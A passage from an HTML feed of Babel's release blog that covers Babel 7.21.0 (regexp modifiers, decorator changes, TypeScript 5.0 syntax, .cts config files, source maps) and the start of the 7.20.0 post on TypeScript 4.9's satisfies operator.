style="color:#718c00">"aa"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token operator">/</span><span class="token punctuation">(</span><span class="token operator">?</span><span class="token plain">i</span><span class="token operator">:</span><span class="token plain">a</span><span class="token punctuation">)</span><span class="token plain">a</span><span class="token operator">/</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">test</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"Aa"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token operator">/</span><span class="token punctuation">(</span><span class="token operator">?</span><span class="token plain">i</span><span class="token operator">:</span><span class="token plain">a</span><span class="token punctuation">)</span><span class="token plain">a</span><span class="token operator">/</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">test</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"aA"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// false</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p><code>/a(?-i:a)/i</code> is equivalent: the regular expression is case insensitive, expect for the second <code>a</code> which must be lowercase.</p>
<p>You can enable this proposal by installing the <code>@babel/plugin-proposal-regexp-modifiers</code> package and adding it to your Babel configuration:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": ["@babel/preset-env"],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    // Add this!</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "@babel/plugin-proposal-regexp-modifiers"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="decorators-updates">Decorators updates<a href="https://babeljs.io/blog/2023/02/20/7.21.0#decorators-updates" class="hash-link" aria-label="Direct link to Decorators updates" title="Direct link to Decorators updates">​</a></h3>
<p>TC39, the committee that standardizes JavaScript, <a href="https://github.com/babel/proposals/issues/86#issuecomment-1414202318" target="_blank" rel="noopener noreferrer">recently approved</a> some changes to the <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer">Decorators proposal</a> based on feedback from the TypeScript team.</p>
<ul>
<li>Decorators on exported classes can now come either before or after the <code>export</code> keyword, but not in both places at the same time:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// valid</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">@dec</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// valid</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> @dec </span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">B</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// invalid</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">@dec</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> @dec </span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">C</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<!-- -->This relaxed restriction aims at simplifying migration from the "<em>legacy</em>" decorators version, by reducing the syntactic differences.</li>
<li>The methods on the <code>context.access</code> object provided to decorators expect the target object as their first parameter, rather than as their <code>this</code> receiver:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> accessX</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">dec</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">desc</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> context</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  accessX </span><span class="token operator">=</span><span class="token plain"> context</span><span class="token punctuation">.</span><span class="token property-access">access</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> dec</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  @dec #x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// old semantics</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">accessX</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">get</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">call</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">===</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// new semantics</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">accessX</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">===</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
<li><code>context.access</code> has a new <code>.has</code> method, to check if an object has the corresponding element. Continuing the example above:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// #x in new A</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">accessX</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">has</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">===</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
</ul>
<p>You can enable this new version of the decorators proposal by setting the <code>version</code> option of <code>"@babel/plugin-proposal-decorators"</code> to <code>"2023-01"</code>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": ["@babel/preset-env"],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/plugin-proposal-decorators", { "version": "2023-01" }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can also try the new decorators proposal in the online Babel <a href="https://babeljs.io/repl#?code_lz=GYVwdgxgLglg9mABAGzgczQUwE4AoCUiA3gFCKID0FiA8gA6ZICecI2A5AM6IBG2cAd045EEBJzjJMAGjKVqAQzAATRIwU8piAEQBRAG4LkIBVEzbEMJFAAWmRJxjLMPBdgCEcsWAlSAdKhouG5oIAC2jFCc-ADcJAC-JCQQyAqc3ACCxHIAAoFY2HIRtnDKBMSJ8UA&amp;presets=stage-3&amp;version=7.21.0" target="_blank" rel="noopener noreferrer">REPL</a>, enabling the "Stage 3" (or lower) preset in the sidebar and choosing the <code>2023-01</code> decorators version.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-50">TypeScript 5.0<a href="https://babeljs.io/blog/2023/02/20/7.21.0#typescript-50" class="hash-link" aria-label="Direct link to TypeScript 5.0" title="Direct link to TypeScript 5.0">​</a></h3>
<p>TypeScript 5.0, currently released as a beta prerelease, introduces two new syntactic features:</p>
<ul>
<li><code>const</code> modifiers for type parameters<!-- -->
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">TypeScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token generic-function function" style="color:#4271ae">getName</span><span class="token generic-function generic class-name operator" style="color:#eab700">&lt;</span><span class="token generic-function generic class-name keyword" style="color:#8959a8">const</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name constant" style="color:#f5871f">T</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name keyword" style="color:#8959a8">extends</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name punctuation" style="color:#eab700">{</span><span class="token generic-function generic class-name" style="color:#eab700"> name</span><span class="token generic-function generic class-name operator" style="color:#eab700">:</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name builtin" style="color:#f5871f">string</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name punctuation" style="color:#eab700">}</span><span class="token generic-function generic class-name operator" style="color:#eab700">&gt;</span><span class="token punctuation">(</span><span class="token plain">user</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"name"</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> user</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> name </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">getName</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain"> name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Babel"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">//  ^? inferred type: "Babel", instead of just string.</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
<li><code>export type *</code> declarations<!-- -->
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">TypeScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> ns </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<!-- -->Babel relies on this new syntax to safely remove the re-<code>export</code> declaration while compiling from TypeScript to JavaScript.</li>
</ul>
<p>Additionally, TypeScript 5.0 introduces support for the standard Decorators proposal, that you can enable in Babel using <code>@babel/plugin-proposal-decorators</code>.</p>
<p>You can read more about the new TypeScript features in their <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-5-0-beta/" target="_blank" rel="noopener noreferrer">release post</a>!</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="experimental-support-for-cts-configuration-files">Experimental support for <code>.cts</code> configuration files<a href="https://babeljs.io/blog/2023/02/20/7.21.0#experimental-support-for-cts-configuration-files" class="hash-link" aria-label="Direct link to experimental-support-for-cts-configuration-files" title="Direct link to experimental-support-for-cts-configuration-files">​</a></h3>
<p>If you installed <code>@babel/preset-typescript</code>, or if you are running Babel using <code>ts-node</code>, you can now use <code>babel.config.cts</code> as a Babel configuration file written in TypeScript and CommonJS. You can read more about this in the <a href="https://babeljs.io/docs/config-files#supported-file-extensions" target="_blank" rel="noopener noreferrer">documentation</a>.</p>
<p>It's not possible yet to use <code>babel.config.ts</code> and <code>babel.config.mts</code> files, pending stabilization of the <a href="https://nodejs.org/api/esm.html#loaders" target="_blank" rel="noopener noreferrer">Node.js ESM loader</a> API.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="source-maps-improvements">Source maps improvements<a href="https://babeljs.io/blog/2023/02/20/7.21.0#source-maps-improvements" class="hash-link" aria-label="Direct link to Source maps improvements" title="Direct link to Source maps improvements">​</a></h3>
<p>Source maps generated by Babel now support <a href="https://developer.chrome.com/blog/devtools-modern-web-debugging/#friendly-call-frames" target="_blank" rel="noopener noreferrer">Friendly Call Frames</a>, to show better names for trasformed functions in devtools.</p>
<p>Additionally, <code>@babel/generator</code> now accepts input source maps generated from other tools in the build pipeline: this allows to properly merge source maps even when using <code>@babel/generator</code> directly without <code>@babel/core</code>, and improves the general performance of source map merging in when using Babel.</p>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.20.0 Released: Deno target and TypeScript 4.9]]></title>
        <id>https://babeljs.io/blog/2022/10/27/7.20.0</id>
        <link href="https://babeljs.io/blog/2022/10/27/7.20.0"/>
        <updated>2022-10-27T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just published Babel 7.20.0!]]></summary>
        <content type="html"><![CDATA[<p>We just published Babel 7.20.0!</p>
<p>This release includes support for <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-9/" target="_blank" rel="noopener noreferrer">TypeScript 4.9</a>, and parser support for the <a href="https://github.com/tc39/proposal-import-reflection/" target="_blank" rel="noopener noreferrer">Import Reflection</a> and <a href="https://github.com/tc39/proposal-explicit-resource-management/" target="_blank" rel="noopener noreferrer">Explicit Resource Management</a> Stage 2 proposals. Additionally, you can now use <a href="https://deno.land/" target="_blank" rel="noopener noreferrer">Deno</a> as one of your compilation targets.</p>
<p>In the past few releases we have made gradual improvements <code>@babel/generator</code>'s code location tracking, which lead to higher source map quality and better positioning of comments in the generated output.</p>
<p>We are also releasing version 9.0.0 of <a href="https://github.com/babel/babel-loader/" target="_blank" rel="noopener noreferrer"><code>babel-loader</code></a>, the Babel loader for Webpack.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.20.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2022/10/27/7.20.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-49-14211">TypeScript 4.9 (<a href="https://github.com/babel/babel/pull/14211" target="_blank" rel="noopener noreferrer">#14211</a>)<a href="https://babeljs.io/blog/2022/10/27/7.20.0#typescript-49-14211" class="hash-link" aria-label="Direct link to typescript-49-14211" title="Direct link to typescript-49-14211">​</a></h3>
<p>TypeScript 4.9 introduces a new keyword operator, <code>satisfies</code>, that lets you assert that an expression has a given type without actually casting that expression:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> a </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">,</span><span class="token plain"> y</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">const</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">//  ^ type is { x: 1, y: 2 }</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> b </span><span class="token operator">=</span><span class="token plain"> a satisfies </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">key</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token punctuation">]</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">number</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">//  ^ type is still { x: 1, y: 2 }, and not { [key: string]: number }!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">a satisfies </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">key</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token punctuation">]</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// error! a does not satisfies that type</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" 